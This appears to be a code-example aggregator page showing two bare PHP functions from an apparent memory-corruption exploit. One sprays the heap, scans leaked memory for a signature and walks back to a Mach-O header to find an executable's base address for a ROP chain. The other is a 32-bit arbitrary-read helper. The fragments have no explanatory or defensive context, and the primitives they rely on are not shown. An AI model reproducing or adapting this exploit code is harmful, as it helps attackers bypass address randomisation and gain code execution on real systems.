Exemplo n.º 1
0
function rop_findexec()
{
    $x = [];
    $p = ptr() + 0;
    for ($i = 0; $i < 0x2000; $i++) {
        array_push($x, [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141]);
    }
    $a = map($p, 0x10000)[0];
    nogc($a);
    $a = bin2hex($a);
    nogc($a);
    $r = strpos($a, "3100000000000000100000000f0000000c000000010000000c00000000000000");
    if ($r !== FALSE) {
        $a = substr($a, $r + 0x80, 0x10);
        $a = hexdec(swapEndianness($a));
        $a = $a + 0;
        for ($i = 0; $i < 0x100000; $i++) {
            $k = map(($a & ~0xff) - 0x100 * $i, 0x8);
            if ("cffaedfe07000001" == bin2hex($k[0])) {
                return ($a & ~0xff) - 0x100 * $i + 0;
            }
        }
    }
    return FALSE;
}
Exemplo n.º 2
0
function r32($addr)
{
    $n = read($addr, 4);
    $val = hexdec(swapEndianness(bin2hex($n)));
    return $val;
}